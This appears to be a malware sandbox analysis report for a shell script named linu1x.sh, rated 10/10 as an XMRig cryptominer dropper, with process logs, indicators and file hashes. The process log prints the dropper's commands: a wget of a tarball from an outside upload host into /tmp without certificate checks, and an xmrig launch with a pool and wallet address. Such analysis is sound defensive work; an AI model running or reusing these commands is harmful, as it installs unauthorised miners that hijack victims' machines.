Overview

overview

10

Static

static

1

linu1x.sh

ubuntu-18.04-amd64

10

linu1x.sh

debian-9-armhf

10

linu1x.sh

debian-9-mips

10

linu1x.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    6s
  • max time network
    153s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20230831-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20230831-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/10/2023, 14:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    linu1x.sh
  • Size 764B
  • Sample231020-rbf8nadh46
  • SHA256 3959bccb7cd46089cbfdb5009142d90ec7dde24accadc182f883c0f9eabae70c
  • MD5 SHA1 SHA512
Score
10/10
xmrig_linuxminer

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig_linux
  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/linu1x.sh
    /tmp/linu1x.sh
    1⤵
      PID:324
      • /usr/bin/wget
        wget --no-check-certificate https://cdn.nest.rip/uploads/7f935faf-22cb-4b55-9ed0-6c366fc21090.tar -O /tmp/tesylinux.tar
        2⤵
        • Writes file to tmp directory
        PID:327
      • /bin/tar
        tar -xf /tmp/tesylinux.tar -C /tmp
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:331
      • /tmp/xmrig-6.20.0/xmrig
        ./xmrig "--coin=XMR" -o xmr.2miners.com:2222 -u 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ.TRI -p x
        2⤵
        • Executes dropped EXE
        PID:332

    Network

          MITRE ATT&CK Matrix

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          .wget-hsts
          • Path /root/.wget-hsts
          • Size 167B
          • SHA256 69e0a56f62040f6198c24bab7a1fc1efb98b71afe4a455d9a1b69fde2c07f927
          • MD5 SHA1 SHA512
          Submit Download

          tesylinux.tar
          • Path /tmp/tesylinux.tar
          • Size 8.5MB
          • SHA256 a505a3fd271bd77a73bc27173f75d4ff34aea38e4c9ff7ad57ce2cd54e4869f4
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download

          SHA256SUMS
          • Path /tmp/xmrig-6.20.0/SHA256SUMS
          • Size 150B
          • SHA256 9ba00832ce25b67199eed6993e09d4f79c0c3eb8958e1219d35c61b53e385dd9
          • MD5 SHA1 SHA512
          Submit Download

          xmrig
          • Path /tmp/xmrig-6.20.0/xmrig
          • Size 8.0MB
          • SHA256 bc154e792594813c60a2bb89da36daf5edc03f6bd431f51d21d8c1e11acbdba7
          • MD5 SHA1 SHA512 SSDEEP
          Submit Download